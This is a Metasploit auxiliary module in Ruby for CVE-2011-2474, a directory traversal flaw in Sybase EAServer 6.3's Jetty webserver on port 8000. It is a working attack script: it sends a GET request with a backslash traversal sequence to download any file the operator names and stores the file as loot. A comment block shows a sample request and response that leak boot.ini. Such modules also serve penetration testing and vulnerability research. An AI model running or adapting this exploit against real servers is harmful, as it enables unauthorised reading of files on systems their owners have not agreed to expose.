Sybase Easerver 6.3 Directory Traversal

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Auxiliary::Scanner  
include Msf::Auxiliary::Report  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Sybase Easerver 6.3 Directory Traversal',  
'Description' => %q{  
This module exploits a directory traversal vulnerability found in Sybase  
EAserver's Jetty webserver on port 8000. Code execution seems unlikely with  
EAserver's default configuration unless the web server allows WRITE permission.  
},  
'References' =>  
[  
[ 'CVE', '2011-2474' ],  
[ 'OSVDB', '72498' ],  
[ 'URL', 'http://www.sybase.com/detail?id=1093216' ],  
[ 'URL', 'https://labs.idefense.com/verisign/intelligence/2009/vulnerabilities/display.php?id=912' ],  
],  
'Author' =>  
[  
'Sow Ching Shiong', #Initial discovery (via iDefense)  
'sinn3r'  
],  
'License' => MSF_LICENSE,  
'DisclosureDate' => '2011-05-25'  
))  
  
register_options(  
[  
Opt::RPORT(8000),  
OptString.new("FILEPATH", [false, 'Specify a parameter for the action'])  
])  
end  
  
def run_host(ip)  
# No point to continue if no filename is specified  
if datastore['FILEPATH'].nil? or datastore['FILEPATH'].empty?  
print_error("Please supply the name of the file you want to download")  
return  
end  
  
print_status("Attempting to download: #{datastore['FILEPATH']}")  
  
# Create request  
traversal = ".\\..\\.\\..\\.\\..\\.\\.."  
res = send_request_raw({  
'method' => 'GET',  
'uri' => "/#{traversal}\\#{datastore['FILEPATH']}"  
}, 25)  
  
print_status("Server returns HTTP code: #{res.code.to_s}")  
  
# Show data if needed  
if res and res.code == 200  
vprint_line(res.to_s)  
fname = File.basename(datastore['FILEPATH'])  
  
path = store_loot(  
'easerver.http',  
'application/octet-stream',  
ip,  
res.body,  
fname  
)  
print_status("File saved in: #{path}")  
else  
print_error("Nothing was downloaded")  
end  
end  
end  
  
=begin  
GET /.\..\.\..\.\..\.\..\boot.ini HTTP/1.0  
User-Agent: DotDotPwn v2.1 <-- yup, awesome tool  
Connection: close  
Accept: */*  
Host: 10.0.1.55:8000  
  
HTTP/1.1 200 OK  
Last-Modified: Sat, 24 Sep 2011 07:12:39 GMT  
Content-Length: 211  
Connection: close  
Server: Jetty(EAServer/6.3.1.04 Build 63104 EBF 18509)  
  
[boot loader]  
timeout=30  
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS  
[operating systems]  
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /fastdetect /NoExecute=OptIn  
  
$ nc 10.0.1.55 8000  
OPTIONS / HTTP/1.0  
  
HTTP/1.1 405 Method Not Allowed  
Allow: GET  
Content-Length: 0  
Server: Jetty(EAServer/6.3.1.04 Build 63104 EBF 18509)  
=end  
`